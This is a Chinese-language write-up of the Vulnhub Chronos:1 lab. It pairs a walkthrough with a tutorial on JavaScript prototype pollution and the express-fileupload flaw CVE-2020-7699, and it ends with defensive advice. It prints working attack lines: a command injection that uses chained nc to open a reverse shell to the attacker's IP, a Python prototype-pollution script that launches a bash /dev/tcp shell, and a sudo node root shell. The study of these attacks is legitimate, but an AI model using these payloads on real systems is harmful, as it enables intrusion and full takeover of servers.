Vulnhub打靶 - JavaScript基于原型编程思路与原型链污染原理
字数 2064 2025-08-11 22:57:21
JavaScript原型链污染漏洞原理与实战利用
1. 靶机渗透过程分析
1.1 环境信息
- 靶机: Chronos:1 (IP: 10.21.193.155)
- 攻击机: Kali Linux (IP: 10.21.204.212)
- 难度: Medium
1.2 信息收集阶段
-
主机发现:
- 使用
netdiscover -r 10.21.0.0/16扫描网络 - 通过VirtualBox特有标识"PCS Systemtechnik GmbH"识别靶机
- 使用
-
端口扫描:
nmap -p- 10.21.193.155发现开放端口: 22(SSH), 80(HTTP), 8000(HTTP)- 服务识别:
- 80端口: Apache httpd 2.4.29
- 8000端口: Node.js Express框架
1.3 Web应用分析
-
80端口网站分析:
- 查看网页源码发现编码的JavaScript代码
- 使用CyberChef工具解码后发现URL:
chronos.local:8000 - 在
/etc/hosts中添加映射:10.21.193.155 chronos.local
-
Burp Suite抓包分析:
- 发现网站通过GET请求获取时间信息
- 请求格式:
GET /date?format=<base58编码字符串>
1.4 命令注入漏洞利用
-
参数分析:
- 发现format参数使用base58编码
- 解码后内容:
'+Today is %A, %B %d, %Y %H:%M:%S.' - 怀疑后端直接调用系统
date命令
-
注入测试:
- 编码
&& ls发送请求,成功执行命令 - 确认存在命令注入漏洞
- 编码
-
反弹Shell:
- 使用串联nc方式反弹shell:
&& nc 10.21.204.212 4444 | /bin/bash | nc 10.21.204.212 5555
- 使用串联nc方式反弹shell:
1.5 权限提升
-
信息收集:
- 发现用户
imera,但无法直接读取其文件 - 检查
/opt/chronos目录下的Node.js应用代码
- 发现用户
-
代码审计:
app.js中存在未过滤的命令拼接:const format = req.query.format; const bytes = bs58.decode(format); var decoded = bytes.toString(); var concat = cmd.concat(decoded); exec(concat, (error, stdout, stderr) => {...});
-
发现第二个应用:
/opt/chronos-v2目录下的Node.js应用- 使用
express-fileupload模块(版本1.1.7-alpha.3) - 配置了
parseNested: true
-
原型链污染利用:
- 使用Python脚本触发原型链污染漏洞:
import requests cmd = 'bash -c "bash -i &> /dev/tcp/10.21.204.212/7777 0>&1"' requests.post('http://127.0.0.1:8080', files = { '__proto__.outputFunctionName': ( None, f"x;console.log(1);process.mainModule.require('child_process').exec('{cmd}');x" ) }) requests.get('http://127.0.0.1:8080')
- 使用Python脚本触发原型链污染漏洞:
-
最终提权:
- 发现
sudo -l显示可以无密码以root运行node - 使用node反弹root shell:
sudo node -e 'child_process.spawn("/bin/bash",{stdio:[0,1,2]})'
- 发现
2. JavaScript原型链原理
2.1 基于原型的编程
- JavaScript使用基于原型的面向对象编程
- 没有明确的类概念(ES6的class是语法糖)
- 对象通过原型属性直接从其他对象继承
2.2 原型与构造函数
-
构造函数定义类:
function Person() { this.age = 18 } -
原型方法:
Person.prototype.say = function() { console.log(this.age) } -
实例化与调用:
let Sam = new Person() Sam.say() // 输出18
2.3 原型链相关属性
-
prototype属性:
- 函数的属性(构造函数)
- 包含所有实例共享的属性和方法
-
__proto__属性:
- 实例对象的属性
- 指向构造函数的prototype
Sam.__proto__ === Person.prototype为true
2.4 原型链继承
function Animal() {
this.eat = 'meat'
this.age = 100
}
function Person() {
this.age = 18
}
Person.prototype = new Animal()
let Sam = new Person()
console.log(`${Sam.eat} ${Sam.age}`) // 输出"meat 18"
2.5 原型链查找机制
-
访问对象属性时:
- 先在对象自身查找
- 找不到则通过
__proto__查找原型对象 - 继续向上直到Object.prototype(原型链顶端)
-
原型链图示:
Sam -> Person.prototype -> Animal.prototype -> Object.prototype -> null
3. 原型链污染原理
3.1 基本概念
- 通过修改原型对象的属性影响所有继承自该原型的对象
- 主要针对Object.prototype的修改
3.2 简单示例
let foo = {bar: 1}
foo.__proto__.bar = 2 // 修改Object.prototype
let zoo = {}
console.log(zoo.bar) // 输出2
3.3 漏洞触发条件
-
关键操作:
- 对象属性的合并
- 对象属性的克隆
- 路径变量赋值
-
危险函数:
Object.assignObject.mergeObject.clone
3.4 express-fileupload漏洞分析(CVE-2020-7699)
漏洞条件
- 使用express-fileupload模块(<1.1.8)
- 配置
parseNested: true - 使用EJS模板引擎
漏洞代码
app.use(fileupload({ parseNested: true }))
processNested函数分析
function processNested(data) {
// 解析嵌套属性
for (let i = 0; i < keys.length; i++) {
let key = keys[i],
value = data[key],
current = d,
keyParts = key.split('.');
for (let index = 0; index < keyParts.length; index++) {
let k = keyParts[index];
if (index >= keyParts.length - 1) {
current[k] = value; // 关键赋值点
} else {
if (!current[k]) current[k] = !isNaN(keyParts[index + 1]) ? [] : {};
current = current[k];
}
}
}
return d;
}
漏洞利用方式
通过构造特殊的属性名污染原型链:
{
"__proto__.polluted": true
}
4. 实战利用技巧
4.1 检测原型链污染
-
测试是否可污染:
JSON.parse('{"__proto__.polluted": true}'); console.log(polluted); // 如果输出true则存在漏洞 -
检查常见属性:
console.log(({}).constructor.prototype.polluted)
4.2 利用方式
-
修改模板引擎:
- 污染
outputFunctionName执行代码
__proto__.outputFunctionName = "x;console.log(1);process.mainModule.require('child_process').exec('whoami');x" - 污染
-
污染常用属性:
__proto__.toString = "恶意代码" __proto__.valueOf = "恶意代码" -
RCE利用:
import requests cmd = "恶意命令" requests.post(target, files={ '__proto__.outputFunctionName': ( None, f"x;console.log(1);process.mainModule.require('child_process').exec('{cmd}');x" ) }) requests.get(target) # 触发执行
4.3 防御措施
- 升级易受攻击的库(如express-fileupload)
- 避免使用
parseNested: true - 冻结Object.prototype:
Object.freeze(Object.prototype) - 使用
Object.create(null)创建无原型对象 - 对用户输入进行严格过滤
5. 总结
JavaScript原型链污染是一种危险的漏洞类型,通过修改原型对象的属性可以影响整个应用程序的行为。在Node.js环境中,结合模板引擎等特性可能导致远程代码执行。防御此类漏洞需要开发者理解原型链机制,并采取适当的防护措施。